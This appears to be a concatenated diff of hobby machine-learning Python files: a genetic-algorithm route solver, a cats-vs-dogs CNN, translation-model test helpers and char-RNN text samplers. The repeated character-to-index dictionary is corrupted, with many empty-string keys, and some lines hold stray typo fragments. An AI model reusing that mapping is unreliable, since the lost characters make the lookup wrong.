+def generate_cities(size):
+    cities = []
+    for i in range(size):
+        x = random.randint(0, 200)
+        y = random.randint(0, 200)
+
+        if 40 < x < 160:
+            if 0.5 <= random.random():
+                y = random.randint(0, 40)
+            else:
+                y = random.randint(160, 200)
+        elif 40 < y < 160:
+            if 0.5 <= random.random():
+                x = random.randint(0, 40)
+            else:
+                x = random.randint(160, 200)
+
+        cities.append(City(x, y))
+    return cities
+    # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ]
+
+
+def create_route(cities):
+    return random.sample(cities, len(cities))
+
+
+def initial_population(popsize, cities):
+    return [ create_route(cities) for i in range(popsize) ]
+
+
+def sort_routes(population):
+    """This function calculates the fitness of each route in population
+    And returns a population sorted by its fitness in descending order"""
+
+    result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ]
+    return sorted(result, key=operator.itemgetter(1), reverse=True)
+
+
+def selection(population, elite_size):
+    sorted_pop = sort_routes(population)
+    df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"])
+    # calculates the cumulative sum
+    # example:
+    # [5, 6, 7] => [5, 11, 18]
+    df['cum_sum']  = df['Fitness'].cumsum()
+    # calculates the cumulative percentage
+    # example:
+    # [5, 6, 7] => [5/18, 11/18, 18/18]
+    # [5, 6, 7] => [27.77%, 61.11%, 100%]
+    df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum()
+
+    result = [ sorted_pop[i][0] for i in range(elite_size) ]
+
+    for i in range(len(sorted_pop) - elite_size):
+        pick = random.random() * 100
+        for i in range(len(sorted_pop)):
+            if pick <= df['cum_perc'][i]:
+                result.append(sorted_pop[i][0])
+                break
+    return [ population[index] for index in result ]
+
+
+def breed(parent1, parent2):
+    child1, child2 = [], []
+
+    gene_A = random.randint(0, len(parent1))
+    gene_B = random.randint(0, len(parent2))
+
+    start_gene = min(gene_A, gene_B)
+    end_gene   = max(gene_A, gene_B)
+
+    for i in range(start_gene, end_gene):
+        child1.append(parent1[i])
+    
+    child2 = [ item for item in parent2 if item not in child1 ]
+    return child1 + child2
+
+
+def breed_population(selection, elite_size):
+    pool = random.sample(selection, len(selection))
+
+    # for i in range(elite_size):
+    #     children.append(selection[i])
+    children = [selection[i] for i in range(elite_size)]
+    children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)])
+
+    # for i in range(len(selection) - elite_size):
+    #     child = breed(pool[i], pool[len(selection)-i-1])
+    #     children.append(child)
+
+    return children
+
+
+def mutate(route, mutation_rate):
+    route_length = len(route)
+    for swapped in range(route_length):
+        if(random.random() < mutation_rate):
+            swap_with = random.randint(0, route_length-1)
+            route[swapped], route[swap_with] = route[swap_with], route[swapped]
+    return route
+
+
+def mutate_population(population, mutation_rate):
+    return [ mutate(route, mutation_rate) for route in population ]
+
+
+def next_gen(current_gen, elite_size, mutation_rate):
+    select = selection(population=current_gen, elite_size=elite_size)
+    children = breed_population(selection=select, elite_size=elite_size)
+    return mutate_population(children, mutation_rate)
+
+
+def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True):
+    global route
+    global progress
+
+    population = initial_population(popsize=popsize, cities=cities)
+    if plot:
+        animate_progress()
+    sorted_pop = sort_routes(population)
+    initial_route = population[sorted_pop[0][0]]
+    distance = 1 / sorted_pop[0][1]
+    if prn:
+        print(f"Initial distance: {distance}")
+    try:
+        if plot:
+            progress = [ distance ]
+            for i in range(generations):
+                population = next_gen(population, elite_size, mutation_rate)
+                sorted_pop = sort_routes(population)
+                distance = 1 / sorted_pop[0][1]
+                
+                progress.append(distance)
+                if prn:
+                    print(f"[Generation:{i}] Current distance: {distance}")
+                route = population[sorted_pop[0][0]]
+        else:
+            for i in range(generations):
+                population = next_gen(population, elite_size, mutation_rate)
+                distance = 1 / sort_routes(population)[0][1]
+                
+                if prn:
+                    print(f"[Generation:{i}] Current distance: {distance}")
+    except KeyboardInterrupt:
+        pass
+    stop_animation.set()
+    final_route_index = sort_routes(population)[0][0]
+    final_route = population[final_route_index]
+    if prn:
+        print("Final route:", final_route)
+    
+    return initial_route, final_route, distance
+
+
+if __name__ == "__main__":
+    cities = generate_cities(25)
+    initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800)
+    # plot_routes(initial_route, final_route)
+
+
+
+
+import numpy
+import matplotlib.pyplot as plt
+import cv2
+from PIL import Image
+from multiprocessing import Process
+
+
+def fig2img ( fig ):
+    """
+    brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it
+    param fig a matplotlib figure
+    return a Python Imaging Library ( PIL ) image
+    """
+    # put the figure pixmap into a numpy array
+    buf = fig2data ( fig )
+    w, h, d = buf.shape
+    return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) )
+
+
+def fig2data ( fig ):
+    """
+    brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it
+    param fig a matplotlib figure
+    return a numpy 3D array of RGBA values
+    """
+    # draw the renderer
+    fig.canvas.draw ( )
+ 
+    # Get the RGBA buffer from the figure
+    w,h = fig.canvas.get_width_height()
+    buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 )
+    buf.shape = ( w, h,3 )
+ 
+    # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode
+    buf = numpy.roll ( buf, 3, axis = 2 )
+    return buf
+
+
+if __name__ == "__main__":
+    pass
+    # figure = plt.figure()
+    # plt.plot([3, 5, 9], [3, 19, 23])
+    # img = fig2img(figure)
+    # img.show()
+    # while True:
+    #     frame = numpy.array(img)
+    #     # Convert RGB to BGR 
+    #     frame = frame[:, :, ::-1].copy() 
+    #     print(frame)
+    #     cv2.imshow("test", frame)
+    #     if cv2.waitKey(0) == ord('q'):
+    #         break
+    # cv2.destroyAllWindows()
+
+
+
+def realtime_plot(route):
+
+    
+    figure = plt.figure(figsize=(14, 8))
+    plt.title("Real time routes")
+    for city in route:
+        plt.scatter(city.x, city.y, s=70, c='b')
+
+    plt.plot([ city.x for city in route ], [city.y for city in route], c='r')
+    
+    img = numpy.array(fig2img(figure))
+    cv2.imshow("test", img)
+    if cv2.waitKey(1) == ord('q'):
+        cv2.destroyAllWindows()
+    plt.close(figure)
+
+
+
+
+from genetic import genetic_algorithm, generate_cities, City
+import operator
+
+def load_cities():
+    return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ]
+
+def train():
+    cities = load_cities()
+    generations = 1000
+    popsizes = [60, 100, 140, 180]
+    elitesizes = [5, 15, 25, 35, 45]
+    mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01]
+
+    total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates)
+    iteration = 0
+
+    tries = {}
+
+    for popsize in popsizes:
+        for elite_size in elitesizes:
+            for mutation_rate in mutation_rates:
+                iteration += 1
+                init_route, final_route, distance = genetic_algorithm( cities=cities,
+                                         popsize=popsize,
+                                         elite_size=elite_size,
+                                         mutation_rate=mutation_rate,
+                                         generations=generations,
+                                         plot=False,
+                                         prn=False)
+                progress = iteration / total_iterations
+                percentage = progress * 100
+                print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}")
+                tries[(popsize, elite_size, mutation_rate)] = distance
+    
+    min_gen = min(tries.values())
+    reversed_tries = { v:k for k, v in tries.items() }
+    best_combination = reversed_tries[min_gen]
+    print("Best combination:", best_combination)
+
+
+if __name__ == "__main__":
+    train()
+
+    
+# best parameters
+# popsize	elitesize	mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
+# 90	    25		    0.0001
+# 110	    10		    0.001
+# 130	    10		    0.005
+# 130	    20		    0.001
+# 150	    25		    0.001
+
+
+
+
+import os
+
+
+def load_data(path):
+    """
+    Load dataset
+    """
+    input_file = os.path.join(path)
+    with open(input_file, "r") as f:
+        data = f.read()
+
+    return data.split('\n')
+
+
+
+
+import numpy as np
+from keras.losses import sparse_categorical_crossentropy
+from keras.models import Sequential
+from keras.preprocessing.text import Tokenizer
+from keras.utils import to_categorical
+
+
+def _test_model(model, input_shape, output_sequence_length, french_vocab_size):
+    if isinstance(model, Sequential):
+        model = model.model
+
+    assert model.input_shape == (None, *input_shape[1:]),\
+        'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape)
+
+    assert model.output_shape == (None, output_sequence_length, french_vocab_size),\
+        'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\
+            .format(model.output_shape, output_sequence_length, french_vocab_size)
+
+    assert len(model.loss_functions) > 0,\
+        'No loss function set.  Apply the compile function to the model.'
+
+    assert sparse_categorical_crossentropy in model.loss_functions,\
+        'Not using sparse_categorical_crossentropy function for loss.'
+
+
+def test_tokenize(tokenize):
+    sentences = [
+        'The quick brown fox jumps over the lazy dog .',
+        'By Jove , my quick study of lexicography won a prize .',
+        'This is a short sentence .']
+    tokenized_sentences, tokenizer = tokenize(sentences)
+    assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\
+        'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. '
+
+
+def test_pad(pad):
+    tokens = [
+        [i for i in range(4)],
+        [i for i in range(6)],
+        [i for i in range(3)]]
+    padded_tokens = pad(tokens)
+    padding_id = padded_tokens[0][-1]
+    true_padded_tokens = np.array([
+        [i for i in range(4)] + [padding_id]*2,
+        [i for i in range(6)],
+        [i for i in range(3)] + [padding_id]*3])
+    assert isinstance(padded_tokens, np.ndarray),\
+        'Pad returned the wrong type.  Found {} type, expected numpy array type.'
+    assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.'
+
+    padded_tokens_using_length = pad(tokens, 9)
+    assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\
+        'Using length argument return incorrect results'
+
+
+def test_simple_model(simple_model):
+    input_shape = (137861, 21, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_embed_model(embed_model):
+    input_shape = (137861, 21)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_encdec_model(encdec_model):
+    input_shape = (137861, 15, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_bd_model(bd_model):
+    input_shape = (137861, 21, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_model_final(model_final):
+    input_shape = (137861, 15)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+
+
+CATEGORIES = ["Dog", "Cat"]
+IMG_SIZE = 100
+
+
+DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages"
+TRAINING_DIR = r"E:\datasets\CatnDog\Training"
+TESTING_DIR  = r"E:\datasets\CatnDog\Testing"
+
+
+
+
+import cv2
+import tensorflow as tf
+import os
+import numpy as np
+import random
+from settings import *
+from tqdm import tqdm
+
+
+# CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat"
+# DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog"
+
+MODEL = "Cats-vs-dogs-new-6-0.90-CNN"
+
+def prepare_image(path):
+    image = cv2.imread(path, cv2.IMREAD_GRAYSCALE)
+    image = cv2.resize(image, (IMG_SIZE, IMG_SIZE))
+    return image
+    # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE)
+    # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))
+    # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+
+def load_model():
+    return tf.keras.models.load_model(f"{MODEL}.model")
+
+
+def predict(img):
+    prediction = model.predict([prepare_image(img)])[0][0]
+    return int(prediction)
+
+
+if __name__ == "__main__":
+    model = load_model()
+    x_test, y_test = [], []
+
+    for code, category in enumerate(CATEGORIES):    
+        path = os.path.join(TESTING_DIR, category)
+        for img in tqdm(os.listdir(path), "Loading images:"):
+            # result = predict(os.path.join(path, img))
+            # if result == code:
+            #     correct += 1
+            # total += 1
+            # testing_data.append((os.path.join(path, img), code))
+            x_test.append(prepare_image(os.path.join(path, img)))
+            y_test.append(code)
+
+    x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+    # random.shuffle(testing_data)
+
+    # total = 0
+    # correct = 0
+
+    # for img, code in testing_data:
+        
+    #     result = predict(img)
+    #     if result == code:
+    #         correct += 1
+    #     total += 1
+
+    # accuracy = (correct/total) * 100
+    # print(f"{correct}/{total}   Total Accuracy: {accuracy:.2f}%")
+    # print(x_test)
+    # print("="*50)
+    # print(y_test)
+    print(model.evaluate([x_test], y_test))
+    print(model.metrics_names)
+
+
+
+
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+import os
+# import cv2
+from tqdm import tqdm
+import random
+from settings import *
+
+
+# for the first time only
+# for category in CATEGORIES: 
+#     directory = os.path.join(TRAINING_DIR, category)
+#     os.makedirs(directory)
+
+# # for the first time only
+# for category in CATEGORIES: 
+#     directory = os.path.join(TESTING_DIR, category)
+#     os.makedirs(directory)
+
+
+
+
+# Total images for each category: 12501 image (total 25002)
+
+
+# def create_data():
+#     for code, category in enumerate(CATEGORIES):
+#         path = os.path.join(DATADIR, category)
+#         for counter, img in enumerate(tqdm(os.listdir(path)), start=1):
+#             try:
+#                 # absolute path of image
+#                 image = os.path.join(path, img)
+#                 image = cv2.imread(image, cv2.IMREAD_GRAYSCALE)
+#                 image = cv2.resize(image, (IMG_SIZE, IMG_SIZE))
+#                 if counter < 300:
+#                     # testing image
+#                     img = os.path.join(TESTING_DIR, category, img)
+#                 else:
+#                     # training image
+#                     img = os.path.join(TRAINING_DIR, category, img)
+
+#                 cv2.imwrite(img, image)
+#             except:
+#                 pass
+
+
+def load_data(path):
+
+    data = []
+
+    for code, category in enumerate(CATEGORIES):
+        p = os.path.join(path, category)
+        for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "):
+            img = os.path.join(p, img)
+            img = cv2.imread(img, cv2.IMREAD_GRAYSCALE)
+            data.append((img, code))
+
+    return data
+
+
+def load_training_data():
+    return load_data(TRAINING_DIR)
+
+
+def load_testing_data():
+    return load_data(TESTING_DIR)
+
+
+
+# # load data
+# training_data = load_training_data()
+# # # shuffle data
+# random.shuffle(training_data)
+
+# X, y = [], []
+
+
+# for features, label in tqdm(training_data, desc="Splitting the data: "):
+#     X.append(features)
+#     y.append(label)
+
+# X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+# # pickling (images,labels)
+# print("Pickling data...")
+import pickle
+
+# with open("X.pickle", 'wb') as pickle_out:
+#     pickle.dump(X, pickle_out)
+
+# with open("y.pickle", 'wb') as pickle_out:
+#     pickle.dump(y, pickle_out)
+
+
+
+def load():
+    return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb'))
+
+print("Loading data...")
+X, y = load()
+
+X = X/255 # to make colors from 0 to 1
+print("Shape of X:", X.shape)
+import tensorflow
+from tensorflow.keras.datasets import cifar10
+from tensorflow.keras.preprocessing.image import ImageDataGenerator
+from tensorflow.keras.callbacks import ModelCheckpoint
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten
+from tensorflow.keras.layers import Conv2D, MaxPooling2D
+# from tensorflow.keras.callbacks import TensorBoard
+
+print("Imported tensorflow, building model...")
+
+NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN"
+
+checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1)
+
+# 3 conv, 64 nodes per layer, 0 dense
+
+model = Sequential()
+
+model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:]))
+model.add(Activation('relu'))
+model.add(Conv2D(32, (2, 2)))
+model.add(Dropout(0.1))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(64, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(64, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(96, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(96, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(128, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(128, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Dense(500, activation="relu"))
+
+model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+
+model.summary()
+
+print("Compiling model ...")
+
+# tensorboard = TensorBoard(log_dir=f"logs/{NAME}")
+
+model.compile(loss="binary_crossentropy",
+              optimizer="rmsprop",
+              metrics=['accuracy'])
+
+print("Training...")
+
+model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint])
+
+
+
+
+### Hyper Parameters ###
+
+batch_size = 256         # Sequences per batch
+num_steps = 70          # Number of sequence steps per batch
+lstm_size = 256          # Size of hidden layers in LSTMs
+num_layers = 2           # Number of LSTM layers
+learning_rate = 0.003    # Learning rate
+keep_prob = 0.3          # Dropout keep probability
+
+epochs = 20
+# Print losses every N interations
+print_every_n = 100
+
+# Save every N iterations
+save_every_n = 500
+
+NUM_THREADS = 12
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=1,
+                        inter_op_parallelism_threads=1, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+                       
+import train_chars
+import numpy as np
+import keyboard
+
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True)
+saver = train_chars.tf.train.Saver()
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"):
+    # samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, vocab_size)
+        char = int2char[c]
+        keyboard.write(char)
+        time.sleep(0.01)
+        # samples.append(char)
+        while True:
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,  
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, vocab_size)
+            char = int2char[c]
+            keyboard.write(char)
+            time.sleep(0.01)
+            # samples.append(char)
+        
+    # return ''.join(samples)ss", "as"
+
+if __name__ == "__main__":
+    # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints")
+    # print(checkpoint)
+    checkpoint = "checkpoints/i6291_l256.ckpt"
+    print()
+    f = open("generates/python.txt", "a", encoding="utf8")
+    int2char_target = { v:k for k, v in char2int_target.items() }
+    import time
+    time.sleep(2)
+    write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100)
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+                       
+import train_chars
+import numpy as np
+
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True)
+saver = train_chars.tf.train.Saver()
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"):
+    samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, vocab_size)
+        samples.append(int2char[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, vocab_size)
+            char = int2char[c]
+            samples.append(char)
+        #     if i == n_samples - 1 and char != " " and char != ".":
+            # if i == n_samples - 1 and char != " ":
+            #     # while char != "." and char != " ":
+            #     while char != " ":
+            #         x[0,0] = c
+            #         feed = {model.inputs: x,
+            #                 model.keep_prob: 1.,
+            #                 model.initial_state: new_state}
+            #         preds, new_state = sess.run([model.prediction, model.final_state], 
+            #                                     feed_dict=feed)
+
+            #         c = pick_top_n(preds, vocab_size)
+            #         char = int2char[c]
+            #         samples.append(char)
+
+        
+    return ''.join(samples)
+
+
+if __name__ == "__main__":
+    # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints")
+    # print(checkpoint)
+    checkpoint = "checkpoints/i6291_l256.ckpt"
+    print()
+    f = open("generates/python.txt", "a", encoding="utf8")
+    int2char_target = { v:k for k, v in char2int_target.items() }
+    for prime in ["#"*100]:
+        samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime)
+        print(samp, file=f)
+        print(samp)
+        print("="*50)
+        print("="*50, file=f)
+
+
+
+
+import numpy as np
+import train_words
+
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]):
+    samples = [c for c in prime]
+    model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True)
+    saver = train_words.tf.train.Saver()
+    with train_words.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = train_words.vocab_to_int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+        c = pick_top_n(preds, len(train_words.vocab))
+        samples.append(train_words.int_to_vocab[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, len(train_words.vocab))
+            char = train_words.int_to_vocab[c]
+            samples.append(char)
+        
+    return ' '.join(samples)
+
+
+if __name__ == "__main__":
+    # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints")
+    # print(checkpoint)
